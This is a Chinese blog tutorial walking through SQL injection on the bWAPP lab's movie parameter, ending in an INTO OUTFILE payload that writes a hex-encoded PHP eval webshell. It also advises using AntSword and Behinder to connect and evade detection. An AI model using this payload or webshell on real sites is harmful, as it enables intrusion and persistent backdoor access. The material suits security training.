SQL注入getshell

通過數據庫的into outfie可以寫入一句話木馬進行getshell,由於利用環境相對苛刻,實際環境不常見,現以bWAPP靶場作爲驗證環境。
選擇SQL Injection (GET/Select),安全等級選擇low,php版本爲5.2.17。

點擊go,URL中顯示movie參數,於是可直接在URL中構造數據。
在這裏插入圖片描述

注入點判斷

構造1 and 1=1,正常顯示
在這裏插入圖片描述
構造1 and 1=2,沒有數據顯示,於是可判斷movie處存在整數型注入。
在這裏插入圖片描述

字段數判斷(order by)

構造1 order by 8,顯示unknown column 8,可知有7列。
在這裏插入圖片描述

字段顯示順序確定(union)

構造-1 union select 1,2,3,4,5,6,7
在這裏插入圖片描述

獲取當前用戶名和數據庫名

可以判斷第2列和第5列是字符,那麼分別探測user(),database().
在這裏插入圖片描述

高級利用-getshell

如果想通過SQL注入getshell需要滿足:

條件1:網站的絕對路徑

條件2:gpc是關閉的

條件3:root用戶權限

條件4:secure_file_priv不爲NULL

使用into outfile寫入一句話木馬,構造payload:

2%20union%20select%201,2,3,4,5,6,0x3c3f706870206576616c28245f504f53545b2774657374275d293f3e%20into%20outfile%20%27D:/phpStudy/PHPTutorial/WWW/eval2.php%27

其中0x3c3f706870206576616c28245f504f53545b2774657374275d293f3e是hex編碼後的

<?php eval($_POST['test'])?>

在這裏插入圖片描述

結果報錯,原因是單引號被轉義。

查詢資料發現低版本的php,magic_quotes_gpc默認是On,會對單引號加個反斜槓\處理,進行轉義。

下面爲php5.2.17版本的php.ini配置文件,可以看到gpc默認是開啓的。
在這裏插入圖片描述
於是提高php版本至5.4.45,成功導出php木馬,有個warning,不用管。
在這裏插入圖片描述
在這裏插入圖片描述
使用中國蟻劍連接,中國蟻劍比中國菜刀在高版本php上效果更好,曾試驗過在某些高版本php上菜刀無法連接。據說冰蠍(https://github.com/rebeyond/Behinder)在動態二進制加密webshell做得很好,不易於被檢測,也可以試試。
在這裏插入圖片描述

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章